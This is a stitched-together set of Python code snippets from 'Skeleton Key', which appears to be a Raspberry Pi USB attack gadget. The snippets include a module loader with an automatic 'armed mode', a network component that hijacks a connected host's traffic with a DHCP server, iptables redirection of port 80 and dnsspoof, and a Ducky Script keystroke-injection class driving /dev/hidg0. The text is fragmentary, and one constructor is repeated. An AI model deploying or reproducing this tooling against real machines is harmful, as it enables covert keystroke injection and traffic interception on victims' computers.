        self.nbt_info = [
            ["__MSBROWSE__", "01", 0, "Master Browser"],
            ["INet~Services", "1C", 0, "IIS"], ["IS~", "00", 1, "IIS"],
            ["", "00", 1, "Workstation Service"],
            ["", "01", 1, "Messenger Service"],
            ["", "03", 1, "Messenger Service"],
            ["", "06", 1,
             "RAS Server Service"], ["", "1F", 1, "NetDDE Service"],
            ["", "20", 1, "File Server Service"],
            ["", "21", 1, "RAS Client Service"],
            ["", "22", 1, "Microsoft Exchange Interchange(MSMail Connector)"],
            ["", "23", 1, "Microsoft Exchange Store"],
            ["", "24", 1, "Microsoft Exchange Directory"],
            ["", "30", 1, "Modem Sharing Server Service"],
            ["", "31", 1, "Modem Sharing Client Service"],
            ["", "43", 1, "SMS Clients Remote Control"],
            ["", "44", 1, "SMS Administrators Remote Control Tool"],
            ["", "45", 1, "SMS Clients Remote Chat"],
            ["", "46", 1, "SMS Clients Remote Transfer"],
            ["", "4C", 1, "DEC Pathworks TCPIP service on Windows NT"],
            ["", "52", 1, "DEC Pathworks TCPIP service on Windows NT"],
            ["", "87", 1, "Microsoft Exchange MTA"],
            ["", "6A", 1, "Microsoft Exchange IMC"],
            ["", "BE", 1, "Network Monitor Agent"],
            ["", "BF", 1, "Network Monitor Application"],
            ["", "03", 1, "Messenger Service"],
            ["", "00", 0, "Domain/Workgroup Name"],
            ["", "1B", 1, "Domain Master Browser"],
            ["", "1C", 0,
             "Domain Controllers"], ["", "1D", 1, "Master Browser"],
            ["", "1E", 0, "Browser Service Elections"],
            ["", "2B", 1, "Lotus Notes Server Service"],
            ["IRISMULTICAST", "2F", 0, "Lotus Notes"],
            ["IRISNAMESERVER", "33", 0, "Lotus Notes"],
            ['Forte_$ND800ZA', "20", 1, "DCA IrmaLan Gateway Server Service"]
        ]
Beispiel #15
0
class SkeletonKey:
    # TODO update descriptor
    """
       Class for the Interface

           Args:

              module_list:        list of the modules
              SK_title:           title of the application "Skeleton Key"

          functions:
              display_title:      displays the title of the application on screen.
              display_modules:    displays all the modules on screen - loaded from the list of modules

          Returns:
              the UI

          Raises:
              No modules found in list - empty list
              Invalid user input - string
              Invalid user input - index of module not listed (e.g. <0 or >list)
      """
    def __init__(self, debug=""):

        # Define directory and module paths
        self.main_path = os.path.dirname(os.path.realpath(__file__))
        self.config_file = self.main_path + '/config.ini'

        self.main_path += "/components"
        self.module_path = self.main_path + "/modules"

        # Load or create config files
        self.config = configparser.ConfigParser()

        # (Import | Create) default config
        try:
            # Attempt to read config
            open(self.config_file)
        except FileNotFoundError:
            # Config not found, set defaults
            self.config.read(self.config_file)

            # Interface options
            self.config.add_section('interface')
            self.config.set('interface', 'debug', 'false')

            # Disable debug if not specified
            debug = False if debug == "" else debug

            # General options
            self.config.add_section('general')
            self.config.set('general', 'config_mode', 'true')
            self.config.set('general', 'pin_armed', 'false')

            with open('config.ini', 'w') as self.config_file:
                self.config.write(self.config_file)

            self.config_mode = True

        else:
            # Config file exists, start importing
            self.config.read(self.config_file)

            # Set debug state accordingly
            debug = self.config.get(
                'interface',
                'debug').lower() == "true" if debug == "" else debug

            # if no display = armed is in effect
            pin_armed = self.config.get(
                'general',
                'pin_armed').lower() == "true" and self.is_pin_armed()

            # Set current run state (config | Armed)
            self.config_mode = self.config.get(
                'general', 'config_mode').lower() == "true" or pin_armed

        self.main = Debug(debug=debug, name="Skeleton Key", type="Main")
        self.module_manager = ModuleManager(debug=debug)
        self.module_debug = debug

        self.SK_title = (
            "____ _  _ ____ _    ____ ___ ____ _  _    _  _ ____ _   _ \n"
            "[__  |_/  |___ |    |___  |  |  | |\ |    |_/  |___  \_/  \n"
            "___] | \_ |___ |___ |___  |  |__| | \|    | \_ |___   |   \n")

        # Ensure that modules folder exists
        if not (os.path.exists(self.module_path)):
            self.main.debug("ERROR: " + self.module_path +
                            " directory does not exist",
                            color=Format.color_warning)

    # Check if 'pin' says go
    def is_pin_armed(self):
        output = subprocess.run(["tvservice", "-s"],
                                stdout=subprocess.PIPE,
                                shell=True).stdout.decode('utf-8')
        if output[6:14] != "0x40001" and "not found" not in output:
            return True
        return False

    # ARMED MODE
    def armed_mode(self):
        """
        Loads modules from the module load order and runs them
        """
        with open('module_load_order', 'rb') as fp:
            unpickler = pickle.Unpickler(fp)
            armed_module_list = unpickler.load()

        for this_module in armed_module_list:
            try:
                self.main.enable_module_debug(str(this_module))
                self.main.debug("~~~Start of " + str(this_module) + "~~~",
                                color=Format.color_primary)
                imp_module = importlib.import_module(
                    "components.modules." + this_module + "." + this_module,
                    this_module)
            except Exception as Err:
                self.main.debug("LOAD ERROR: " + str(Err),
                                color=Format.color_warning)
            else:
                try:
                    # This is why modules must stick to the naming convention
                    # If this_module does not have ".run" tough luck, no gonna do it pal.

                    # import config data for this module
                    current_config = self.module_manager.get_module_by_name(
                        this_module)

                    # Module needs to be enabled before it will run
                    if current_config.options["enabled"] == "true":
                        self.main.debug(txt=str(this_module) + " is enabled",
                                        color=Format.color_success)
                        module_class = getattr(imp_module, this_module)
                        runnable = module_class(self.main_path,
                                                debug=self.module_debug)
                        runnable.run()

                    else:
                        self.main.debug(txt=str(this_module) + " is disabled",
                                        color=Format.color_warning)

                except Exception as WTF:
                    self.main.debug("RUN ERROR: " + str(WTF),
                                    color=Format.color_danger)

            self.main.debug("~~~End of " + str(this_module) + "~~~",
                            color=Format.color_primary)

    def display_title(self):
        print(Format.color_danger + self.SK_title + Format.format_clear)

    def display_modules(self):
        # displays all module information.
        if not self.module_manager.module_list:
            # TODO REVIEW CAUSE OF ERROR HERE
            raise ValueError("There are no modules to display.")
        else:
            x = 1
            for module in self.module_manager.module_list:
                print(x, " ", module.module_name)
                x += 1

    def show_module_attributes(self, user_selection):
        module = self.module_manager.module_list[user_selection - 1]
        print("\nModule Name: ", module.module_name, "\n")
        print("Module Description: ", module.module_desc, "\n")
        print("Framework Requirements: ", module.fw_requirements, "\n")
        print("Options: ", module.options, "\n")
        print("Module Help: ", module.module_help, "\n")
        print("Output Format: ", module.output_format)

    def show_module_attribute(self, config_selection, user_selection):
        module = self.module_manager.module_list[user_selection - 1]
        if "name" in config_selection[1]:
            print("Module Name: ", module.module_name)
        elif "desc" in config_selection[1]:
            print("Module Description: ", module.module_desc)
        elif "req" in config_selection[1]:
            print("Framework Requirements: ", module.fw_requirements)
        elif "opt" in config_selection[1]:
            print("Options: ", module.options)
        elif "help" in config_selection[1]:
            print("Module Help: ", module.module_help)
        elif "format" in config_selection[1]:
            print("Output Format: ", module.output_format)
        else:
            print(Format.color_warning +
                  "ERROR: Please enter a valid attribute" +
                  Format.format_clear)

    def set_module_attribute(self, config_selection, user_selection):
        # set flag to display error message if option is invalid
        flag = False
        module = self.module_manager.module_list[user_selection - 1]
        # if option[key] is equal to the second word

        for x in module.options:
            if x == config_selection[1]:
                if len(config_selection) == 3:
                    module.options[config_selection[1]] = str(
                        config_selection[2])
                    flag = True
                else:
                    new_value = input(
                        "Enter the value you would like to set this to")
                    module.options[config_selection[1]] = new_value
                    flag = True
        if flag:
            print("Value changed")
            print(Format.color_danger + "Exiting Module setter..." +
                  Format.format_clear)
        else:
            print(Format.color_warning +
                  "ERROR: Please enter a valid attribute to set" +
                  Format.format_clear)

    def show_module_option(self, config_selection, user_selection):
        # set flag to display error message if option is invalid
        flag = False
        module = self.module_manager.module_list[user_selection - 1]
        # if option[key] is equal to the second word

        for x in module.options:
            if config_selection[1] == "option" and x == config_selection[2]:
                print(x, " : ", module.options[x])
                flag = True
        if not flag:
            print(Format.color_warning +
                  "ERROR: Please enter a valid option to show" +
                  Format.format_clear)

    def display_help(self):
        # Displays help information for Skeleton Key
        print("Displaying help...")
        print("\n")
        print("Command                          Description of command")
        print(
            "--------------------------------------------------------------------------------------------------------------------"
        )
        print("show				            - shows all info on the current module")
        print(
            "show [attribute]		        - shows the info on the specified attribute of the current module"
        )
        print(
            "set				                - displays instructions on how to use the set command"
        )
        print(
            "set [attribute]			        - allows the user to enter a value to set the specified attribute for the current module"
        )
        print(
            "set [attribute] [value]		    - sets the value for the specified attribute for the current module"
        )
        print("order				            - allows user to alter module load order")
        print("ONCE IN MODULE LOADER:")
        print(
            "         module [module index] up		            - moves module up 1"
        )
        print(
            "         module [module index] down		            - moves module down 1"
        )
        print(
            "         module [module index] [index]		        - moves module to index"
        )
        print("\n")
        print("save 				            - saves config")
        print("help 				            - provides helpful commands")
        print("exit 				            - exits configuration mode")
        print("\n")
        print("Leaving help...")
        return

    def save_module_config(self, config_selection, user_choice):
        print("Confirm action: (Y/N)")
        print(Format.color_warning +
              "Warning: Any unsaved changes will be lost on exit" +
              Format.format_clear)
        module = self.module_manager.module_list[user_choice - 1]
        confirm_save = input(Format.color_primary + "%s/%s/%s>" %
                             ("Configure", module.module_name, "Save") +
                             Format.format_clear)
        confirm_save = confirm_save.upper()
        if confirm_save == "Y":
            print(Format.color_success + "Changes saved" + Format.format_clear)
            self.module_manager.save_config(module.module_name, True)

            self.module_manager.update_order(module.module_name)

        elif confirm_save == "N":
            print("Discarding changes...")

    def move_module_by(self, module_index, move_to):
        try:
            self.main.debug("Move %s from #%s to #%s" %
                            (self.module_manager.module_order[module_index],
                             module_index, move_to),
                            color=Format.color_info)
            temporary_holder = self.module_manager.module_order[module_index]
            self.module_manager.module_order.remove(
                self.module_manager.module_order[module_index])
            self.module_manager.module_order.insert(move_to, temporary_holder)
        except Exception:
            print(Format.color_warning + "Please enter a valid command" +
                  Format.format_clear)

    def update_module_order(self):
        # PICKLE
        with open('module_load_order', 'wb') as fp:
            modules_to_pickle = [
                mod for mod in self.module_manager.module_order
            ]
            pickle.dump(modules_to_pickle, fp)

    def edit_module_order(self, user_choice):
        print("Use the following commands to change the module load order")
        print("order [module index] [order placement]")
        print("order [module index] up")
        print("order [module index] down")
        try:
            change_order_command = str(
                input(Format.color_primary + "%s/%s/Order>" %
                      ("Configure",
                       self.module_manager.module_order[user_choice - 1]) +
                      Format.format_clear)).lower().split()
        except Exception:
            print(Format.color_warning + "Please enter a valid command" +
                  Format.format_clear)
        if len(change_order_command) is not 3:
            print(Format.color_warning + "Please enter a valid command" +
                  Format.format_clear)
        else:
            if change_order_command[0] == "order":
                try:
                    current_index = int(change_order_command[1])
                except ValueError:
                    print(Format.color_warning + "Invalid Module index" +
                          Format.format_clear)
                if change_order_command[2] == "up":
                    # move item up 1
                    self.move_module_by(current_index, (current_index - 1))
                elif change_order_command[2] == "down":
                    self.move_module_by(current_index, (current_index + 1))
                else:
                    check = self.check_order_is_number(change_order_command[2])
                    if (check):
                        if int(change_order_command[2]) < len(
                                self.module_manager.module_list):
                            self.move_module_by(int(change_order_command[1]),
                                                (int(change_order_command[2])))
                        else:
                            print(Format.color_warning +
                                  "Integer out of range" + Format.format_clear)
                    else:
                        print(Format.color_warning +
                              "Please enter a valid command" +
                              Format.format_clear)
        # Implement potential changes
        self.update_module_order()

    @staticmethod
    def check_order_is_number(test_case):
        try:
            int(test_case)
            return True
        except ValueError:
            return False

    def edit_module_order_question(self, user_choice):  # TODO Check this
        print("Current module order")
        if not self.module_manager.module_order:
            print("There are currently no modules enabled")
        else:
            for index in range(len(self.module_manager.module_order)):
                print(index, self.module_manager.module_order[index])
        try:
            change_order = input("Change module order? (Y/N)")
        except ValueError:
            print(Format.color_warning + "Please enter a valid input" +
                  Format.format_clear)
        change_order = change_order.upper()
        if change_order == "Y":
            self.edit_module_order(user_choice)

        elif change_order == "N":
            pass
        else:
            print("Invalid response entered. Please try again.")

    def module_configuration(self, user_choice):
        # mainly for debug
        # RETURN current_module (move to current_module file)
        print("Entering Configuration mode")
        config_mode = True
        save_flag = False
        while config_mode:
            print("Enter 'exit' to finish.")
            print("\n")

            # Whatever the user enters - convert it to lowercase and place each word in an array.
            config_selection = str(
                input(Format.color_primary + "Configure/%s>" %
                      self.module_manager.module_list[user_choice -
                                                      1].module_name +
                      Format.format_clear)).lower().split()
            if len(config_selection) == 0:
                print("Please enter a valid command")
                self.display_help()
            else:
                # If the users.txt enters one word - i.e. a keyword such as 'show', 'set' or 'exit' run
                if len(config_selection) == 1:
                    if config_selection[0] == "exit":
                        if not save_flag:
                            try:
                                confirm_exit = input(
                                    Format.color_warning +
                                    "You are about to exit without saving, are you sure? (Y/N)"
                                    + Format.format_clear)
                            except ValueError:
                                print(Format.color_warning +
                                      "Please enter a valid input" +
                                      Format.format_clear)
                            confirm_exit = confirm_exit.upper()
                            if confirm_exit == "Y":
                                print(Format.color_danger +
                                      "Exiting Configuration mode..." +
                                      Format.format_clear)
                                config_mode = False
                                pass
                            elif confirm_exit == "N":
                                pass
                        elif save_flag:
                            print(Format.color_danger +
                                  "Exiting Configuration mode..." +
                                  Format.format_clear)
                            config_mode = False
                            pass
                    elif config_selection[0] == "show":
                        # display all information to do with current module.
                        self.show_module_attributes(user_choice)
                        pass
                    elif config_selection[0] == "set":
                        print(
                            "Please select an attribute to set in the format 'set [attribute]'"
                        )
                        # provide options on what is available to set
                        pass
                    elif config_selection[0] == "help":
                        # run method to set selected attribute
                        self.display_help()
                        pass
                    elif config_selection[0] == "save":
                        # run method to set selected attribute
                        self.save_module_config(config_selection, user_choice)
                        save_flag = True
                        pass
                    elif config_selection[0] == "order":
                        self.edit_module_order_question(user_choice)
                        pass
                    else:
                        print("Please enter a valid keyword.")
                # If the users.txt enters two words - i.e. a keyword such as 'show name' or 'set rhosts'
                elif len(config_selection) == 2:
                    if config_selection[0] == "show":
                        # run method to show selected attribute
                        self.show_module_attribute(config_selection,
                                                   user_choice)
                        pass
                    elif config_selection[0] == "set":
                        # run method to set selected attribute
                        self.set_module_attribute(config_selection,
                                                  user_choice)
                        pass
                    else:
                        print("Please enter a valid command")
                elif len(config_selection) == 3:
                    if config_selection[0] == 'set':
                        # run method to set selected attribute
                        self.set_module_attribute(config_selection,
                                                  user_choice)
                        pass
                elif config_selection[0] == 'show':
                    self.show_module_option(config_selection, user_choice)
                    pass
                else:
                    print("Please enter a valid command.")

    # Main menu for Interface, takes user input of which module they would like to use
    def input_choice(self):
        # exit flag for ending the program
        exit_flag = False
        while not exit_flag:
            # Display title
            self.display_title()
            # Display modules
            self.display_modules()

            # Communicating to user how to use the Interface.
            print("\n")
            print(Format.color_info + "Enter 0 to exit" + Format.format_clear)
            try:
                user_selection = int(
                    input(
                        "Please enter the module you would like to configure. (Based on index)"
                    ))
            except ValueError:
                print(Format.color_warning +
                      "ERROR: Invalid selection - string instead of integer." +
                      Format.format_clear)
                return -1
            else:
                # Based on user input - moves to respective method
                if user_selection == 0:
                    print(Format.color_danger + "Exiting Program..." +
                          Format.format_clear)
                    exit_flag = True

                    # Implement potential order changes
                    self.update_module_order()

                    return user_selection
                elif user_selection < 0 or user_selection > len(
                        self.module_manager.module_list):
                    print(
                        Format.color_warning +
                        "ERROR: Invalid index selection. Please enter a valid selection."
                        + Format.format_clear)
                else:
                    if not exit_flag:
                        return user_selection
                    else:
                        # Ending program
                        print(Format.color_success +
                              "Thank you for using 'Skeleton Key'." +
                              Format.format_clear)
                        exit(0)

    @staticmethod
    def yorn(output, expected):
        """
        Yes or No style query

        Example:
        >>>if self.yorn("Please say Y? (Y/N)", "Y"):
        >>>  print("entered Y")
        >>>else:
        >>>  print("You didn't enter Y")

        :param output: What to ask the user and waiting for a response
        :param expected: A string that should match your yes case

        :return: Boolean did response match expected user input
        """
        response = input(output).__str__().strip()

        if response.upper() == expected.upper():
            return True

        return False

    def run(self):
        if self.config_mode:
            # Config mode
            self.main.debug("Entering Config Mode", color=Format.color_warning)
            selection = -1
            while selection != 0:
                selection = self.input_choice()
                if 1 <= selection <= 9999999:
                    self.module_configuration(selection)
        else:
            # Armed mode
            self.main.debug("Entering Armed Mode", color=Format.color_warning)
            self.armed_mode()

    def __exit__(self):
        print("Killing Interface...")
        # if component interface is unresponsive this method provides a kill switch
        for file in self.files:
            os.unlink(file)
Beispiel #16
0
class FwComponentNetwork(FwComponentGadget):
    """
    Component for the Network Component. This class can be used to interact with ethernet over the bus, the DCHP server
    on the Pi (That is used for Responder) and can also be used to check the current internet connect status.

         Args:
            enabled           boolean - enable/disable instant start
            debug             boolean - enable/disable debug features
            id_vendor         string - vendor id to be used by network
            id_product        string - product id to be used by network

        functions:
            up:             allows for the driver to be turned on and DHCP to be enabled
            down:           allows for the driver to be turned off
            kill:           allows for the driver to be disabled and removed if a ping fails
            test_internet:  allows for internet connectivity to be tested

        Returns:
            A boolean value

        Raises:
            None
    """

    # Constructor
    def __init__(self, enabled=False, debug=True, state="uninitialised"):
        super().__init__(driver_name="g_ether",
                         enabled=enabled,
                         vendor_id="0x04b3",
                         product_id="0x4010",
                         debug=debug)
        self.state = state
        self.ping_address = "8.8.8.8"
        self._type = "Component"
        self._name = "Network"

        self.network = Debug(name="Network", type="Framework", debug=debug)
        self.network.debug("Initializing Network", color=Format.color_primary)

    # Destructor
    def __del__(self):
        if self.state == "usb0 down":
            super().disable()  # Disable eth driver
        else:
            self.down()  # Ensure adapter is downed
            super().disable()  # Disable eth driver

    # Check for internet connectivity
    def test_internet(self):
        flag_success = False  # Flag set when connection successful
        for i in range(1, 3):  # Only attempt ping 3 times
            if subprocess.call("ping -c 1 -w 3 " + self.ping_address,
                               shell=True) == 0:  # Ping to test connection
                self.network.debug("Ping successful!")
                # Exit loop
                flag_success = True
                break
            else:  # If ping not successful
                self.network.debug("Ping unsuccessful!",
                                   color=Format.color_warning)
                # Try again
        if not flag_success:  # If 3 ping attempts fail
            return self.kill("Connection failed!")
        return True

    # Turning on USB Ethernet adapter and enabling DHCP server
    def up(self):
        self.enable()

        usb0_ifup = subprocess.call("ifup usb0", shell=True)
        self.network.debug(
            Format.color_danger + "Failed to ifup usb0" + Format.format_clear
            if usb0_ifup else "usb0 ifup successful")  # Up usb0 interface

        if usb0_ifup:  # If process failed return False
            return False

        usb0_ifconfig = subprocess.call("ifconfig usb0 up", shell=True)
        self.network.debug(Format.color_danger +
                           "Failed to up networking on usb0" +
                           Format.format_clear if usb0_ifconfig else
                           "usb0 networking up")  # Up networking on usb0

        if usb0_ifconfig:  # If process failed return False

            return False

        usb0_routes = subprocess.call("/sbin/route add -net 0.0.0.0/0 usb0",
                                      shell=True)
        self.network.debug(
            Format.color_danger + "Failed to add IP routes to usb0" +
            Format.format_clear
            if usb0_routes else "usb0 IP routes added successfully"
        )  # Add route for all IPv4 addresses

        if usb0_routes:  # If process failed return False
            return False

        dhcp = subprocess.call("/etc/init.d/isc-dhcp-server start", shell=True)
        self.network.debug(
            Format.color_danger + "Failed to start DHCP server" +
            Format.format_clear if dhcp else
            "DHCP server successfully started")  # Start DHCP server

        if dhcp:  # If process failed return False
            return False

        ip_forwarding = subprocess.call(
            "/sbin/sysctl -w net.ipv4.ip_forward=1", shell=True)
        self.network.debug(
            Format.color_danger + "Failed to enable IPv4 forwarding" +
            Format.format_clear if ip_forwarding else
            "IPv4 forwarding successfully enabled")  # Enable IPv4 forwarding

        if ip_forwarding:  # If process failed return False
            return False

        bind = subprocess.call(
            "/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT "
            "--to-port 1337",
            shell=True)
        self.network.debug(
            Format.color_danger + "Failed to bind port 80 to 1337" +
            Format.format_clear
            if bind else "Successfully binded port 80 to port 1337"
        )  # Bind port 80 to port 1337

        if bind:  # If process failed return False
            return False

        dnsspoof = subprocess.call(
            "/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53",
            shell=True)
        self.network.debug(
            Format.color_danger + "Failed to start dnsspoof on port 53" +
            Format.format_clear
            if dnsspoof else "Successfully started dnsspoof on port 53"
        )  # Start dnsspoof on port 53

        if dnsspoof:  # If process failed return False
            return False

        self.state = "usb0 should be up"
        # reached here without returning = success
        self.network.debug(self.state, color=Format.color_success)
        return True

    # Turning off USB Ethernet adapter
    def down(self):
        self.network.debug("Downing adapter", color=Format.color_info)

        self.network.debug(
            Format.color_danger + "Failed to disable IPv4 forwarding" +
            Format.format_clear if subprocess.call(
                "/sbin/sysctl -w net.ipv4.ip_forward=0", shell=True) else
            "IPv4 forwarding successfully disabled")  # Disable IPv4 forwarding

        self.network.debug(
            Format.color_danger + "Failed to stop DHCP server" +
            Format.format_clear
            if subprocess.call("/etc/init.d/isc-dhcp-server stop", shell=True)
            else "DHCP server successfully stopped")  # Stop DHCP server

        self.network.debug(
            Format.color_danger + "Failed to remove IP routes from usb0" +
            Format.format_clear if subprocess.call(
                "/sbin/route del -net 0.0.0.0/0 usb0",
                shell=True) else "usb0 IP routes removed successfully"
        )  # Remove route for all IPv4 addresses

        # Down adapter
        self.network.debug(
            Format.color_danger + "Failed to down networking on usb0" +
            Format.format_clear if subprocess.call("ifconfig usb0 down",
                                                   shell=True) else
            "usb0 networking down")  # Down networking on usb0

        self.network.debug(
            Format.color_danger + "Failed to ifdown usb0" +
            Format.format_clear if subprocess.call("ifdown usb0", shell=True)
            else "usb0 ifdown successful")  # Down usb0 interface

        # Debug
        self.state = "usb0 down"
        self.network.debug(self.state)

    # Emergency Kill
    def kill(self, error_message):
        super().debug(error_message, color=Format.color_danger)  # Debug text
        self.disable()  # Detach from bus
        return False
Beispiel #17
0
class Keyboard(FwComponentGadget):
    """
       Component that handles all Keyboard functionality over the bus via parsing of ducky script and strings sent to
       its public methods

           Args:
              enabled:          boolean - enable/disable instant start
              debug:            boolean - enable/disable debug features
              id_vendor         string - vendor id to be used by keyboard
              id_product        string - product id to be used by keyboard

          functions:
              write:            write string using emulated keyboard
              resolve_script:   will parse through an entire ducky script list passed into it
              resolve_line:     will parse a line for ducky script functions and keywords

          Returns:
              Keyboard Object

          Raises:
              IOError on failure to send data to target device
              ValueError on bad delay/string_delay
      """
    def __init__(self,
                 path,
                 keyboard_layout="default.keyboard",
                 language_layout="default.language",
                 enabled=False,
                 debug=False):

        # Debug params
        self.type = "Component"
        self.name = "Keyboard"
        self.keyboard = Debug(type=self.type, name=self.name, debug=debug)
        self.enabled = enabled
        self.path = path
        self.keyboard_path = path + "/framework/shell_scripts/hid-gadget-test"

        self.keyboard.debug("Initializing Keyboard...",
                            color=Format.color_primary)

        # TODO add language/layout support
        # stores .keyboard layout
        self.keyboard_layout = keyboard_layout
        # stores .language layout
        self.language_layout = language_layout

        # defaults
        self.default_delay = 1000  # 1000ms / 1s default
        self.__keyboard = ""

        # dummy last commands
        self.command = ""
        self.last_command = ""

        # still to add: return, enter, esc, escape, backspace, meta, ctrl, shift, alt (Like ducky)
        self.__special_char_equivalent = {
            " ": "space",
            "	": "tab",  # For the rare occasion
            "`": "backquote",
            "!": "left-shift 1",
            "\"": "left-shift 2",
            "£": "left-shift  3",
            "$": "left-shift 4",
            "%": "left-shift 5",
            "^": "left-shift 6",
            "&": "left-shift 7",
            "*": "left-shift 8",
            "(": "left-shift 9",
            ")": "left-shift 0",
            "-": "minus",
            "_": "left-shift minus",
            "=": "equals",
            "+": "left-shift equals",
            "{": " left-shift lbracket",
            "}": "left-shift rbracket",
            "[": "lbracket",
            "]": "rbracket",
            ";": "semi-colon",
            ":": "left-shift semi-colon",
            "'": "quote",
            "@": "left-shift quote",
            "#": "hash",
            "~": "left-shift hash",
            "\\": "backslash",
            "|": "left-shift backslash",
            ",": "comma",
            "<": "left-shift comma",
            ".": "period",
            ">": "left-shift period",
            "/": "slash",
            "?": "left-shift slash",
            "\n": ""  # We don't like your kind around here
        }

        self.__key_equivalent = {
            # Standard Commands
            "GUI": "left-meta",
            "WINDOWS": "left-meta",
            "MENU": "menu",
            "APP": "menu",
            "SHIFT": "left-shift",
            "ALT": "left-alt",
            "CONTROL": "left-ctrl",
            "CTRL": "left-ctrl",

            # Arrow Keys
            "DOWNARROW": "down",
            "DOWN": "down",
            "LEFTARROW": "left",
            "LEFT": "left",
            "RIGHTARROW": "right",
            "RIGHT": "right",
            "UPARROW": "up",
            "UP": "up",

            # Extended Commands
            "BREAK": "pause",
            "PAUSE": "pause",
            "CAPSLOCK": "caps-lock",
            "DELETE": "delete",
            "ESC": "escape",
            "ESCAPE": "escape",
            "HOME": "home",
            "INSERT": "insert",
            "NUMLOCK": "num-lock",
            "PAGEUP": "pageup",
            "PAGEDOWN": "pagedown",
            "PRINTSCREEN": "print",
            "SCROLLLOCK": "scroll-lock",
            "ENTER": "enter",
            "SPACE": " ",
            "TAB": "tab",

            # TODO ADD F1-12
        }

        self.__command_equivalent = {
            "CTRL-ALT-DELETE": "left-ctrl left-alt delete",
            "CTRL-SHIFT-ESC": "left-ctrl left-shift escape"
        }

        super().__init__(driver_name="g_hid",
                         enabled=enabled,
                         debug=debug,
                         name="keyboard",
                         type="component")
        self.keyboard.debug("Keyboard created", color=Format.color_success)

    # Handles string write to target
    def write(self, string=""):
        """
        :param string: what is to be typed with keyboard
        :return None:

        """

        if string:
            for character in string:
                keypress = self.__resolve_ascii(character)
                if keypress:
                    self.__send_data(keypress)

    def resolve_script(self, script, script_name=""):
        """
        :param script:          contents of script
        :param script_name:     name of script
        :return :
        """
        self.keyboard.debug("Resolve script: %s" % script,
                            color=Format.color_secondary)
        for line in script:
            self.resolve_line(current_line=line)
        self.keyboard.debug("Script %s resolved" % script_name,
                            color=Format.color_info)
        return

    def __send_data(self, data):
        """
        NOT FOR INDIV USE

        :param data: what is to be typed with keyboard
        :return boolean: whether send was successful
        """

        self.keyboard.debug("SENDING DATA: " + data)
        try:
            # Set timeout at 1s as it will otherwise wait for ages expecting more input
            output = subprocess.call("sudo echo " + data + " | " +
                                     self.keyboard_path +
                                     " /dev/hidg0 keyboard > /dev/null",
                                     shell=True,
                                     timeout=1)
            # if "rror" in output:
            #     self.debug("ERROR: "+output)
            #     raise IOError("Failure to send data")

        except Exception as e:
            self.keyboard.debug("Warning: %s" % e, color=Format.color_warning)
            return False
        return True

    def __resolve_ascii(self, character):
        """
        NOT FOR INDIV USE

        :param character:
        :return resolved character:
        """
        resolved_character = ""
        # If character is uppercase letter
        if character.isalpha() and character.isupper():
            resolved_character = "left-shift %s" % (character.lower())
        # If character is a-z or 0-9
        elif character.isalnum():
            # Character should remain the same
            resolved_character = character
        else:
            # Characters must be special character
            resolved_character = self.__special_char_equivalent.get(
                character, "")

        return resolved_character

    def __resolve_args(self, args):
        """
        NOT FOR INDIV USE

        :param args:
        :return resolved  arguments:
        """
        args = args.split()
        resolved_args = ""
        if len(args) < 6:
            for arg in args:
                # is arg a key?
                arg_resolved = self.__key_equivalent.get(arg, "")
                if not arg_resolved:
                    # is arg ascii character?
                    arg_resolved = self.__resolve_ascii(arg)
                if not arg_resolved:
                    # is arg command?
                    arg_resolved = self.__command_equivalent.get(arg, "")

                # if arg has been resolved, add it to resolved args
                if arg_resolved:
                    resolved_args += (" " + arg_resolved)
            return resolved_args

    def resolve_line(self, current_line):
        """
        :param current_line:
        :return resolved line:
        """
        # If line is blank, skip
        if current_line == '\n':
            return True

        # Remove newline characters and split lines into command and arguments
        command, whitespace, args = current_line.strip('\n').partition(" ")

        # Input debugging
        self.keyboard.debug("command in = " + command)
        self.keyboard.debug("arg/s in = " + args)

        # Resolve current line:
        # ------------------
        if command == "REM":
            # Comment, so do nothing
            pass

        elif command == "STRING":
            if args:
                for character in args:
                    keypress = self.__resolve_ascii(character)
                    if keypress:
                        self.__send_data(keypress)

        elif command == "STRING_DELAY":
            if args:
                delay, _, string = args.partition(' ')

                try:
                    # Attempt to convert delay to int
                    delay = int(delay.strip())
                    delay /= 1000.0
                except ValueError:
                    # Delay was not an int
                    self.keyboard.debug("Resolve Error: bad delay format",
                                        color=Format.color_warning)
                    self.keyboard.debug("Using default delay( " +
                                        str(self.default_delay) + "ms)",
                                        color=Format.color_warning)
                    delay = self.default_delay / 1000.0
                else:
                    # Delay was an int
                    self.keyboard.debug("delay string for " + str(delay))

                for character in string:
                    keypress = self.__resolve_ascii(character)
                    time.sleep(delay)
                    if keypress:
                        self.__send_data(keypress)

        elif command == "DELAY":
            if args:
                delay, _, string = args.partition(' ')

                try:
                    # Attempt to convert delay to int
                    delay = int(delay.strip())
                    delay /= 1000.0
                except ValueError:
                    # Delay was not an int
                    self.keyboard.debug("Resolve Error: bad delay format",
                                        color=Format.color_warning)
                    self.keyboard.debug("Using default delay( " +
                                        str(self.default_delay) + "ms)",
                                        color=Format.color_warning)
                    delay = self.default_delay / 1000.0
                else:
                    # Delay was an int
                    self.keyboard.debug("delay for " + str(delay))
                time.sleep(delay)

        elif command in self.__key_equivalent:
            resolved_command = self.__key_equivalent.get(command, '')
            if not args:
                self.__send_data(resolved_command)
            else:
                self.__send_data(resolved_command + self.__resolve_args(args))

        # Resolve multi-part commands
        # ---------------------------
        elif command.count(
                "-"
        ) == 1:  # TODO - Implement similar interpreter for multi - commands
            command_1, unused, command_2 = command.partition("-")
            self.__send_data(
                self.__key_equivalent.get(command_1, '') + " " +
                self.__key_equivalent.get(command_2, '') +
                self.__resolve_args(args))

        elif command == "MENU":
            if not args:
                return ""
            else:
                self.__send_data(
                    self.__key_equivalent.get("GUI", '') + " " +
                    self.__key_equivalent.get("ALT", '') +
                    self.__resolve_args(args))

        elif command == "REPEAT":
            # Repeat last command
            # Done this "weird" way so that delays etc still work
            self.resolve_line(self.last_command)

            # Done in a "weird" way so that delays etc still work
        self.last_command = current_line
Beispiel #18
0
    def __init__(self,
                 path,
                 keyboard_layout="default.keyboard",
                 language_layout="default.language",
                 enabled=False,
                 debug=False):

        # Debug params
        self.type = "Component"
        self.name = "Keyboard"
        self.keyboard = Debug(type=self.type, name=self.name, debug=debug)
        self.enabled = enabled
        self.path = path
        self.keyboard_path = path + "/framework/shell_scripts/hid-gadget-test"

        self.keyboard.debug("Initializing Keyboard...",
                            color=Format.color_primary)

        # TODO add language/layout support
        # stores .keyboard layout
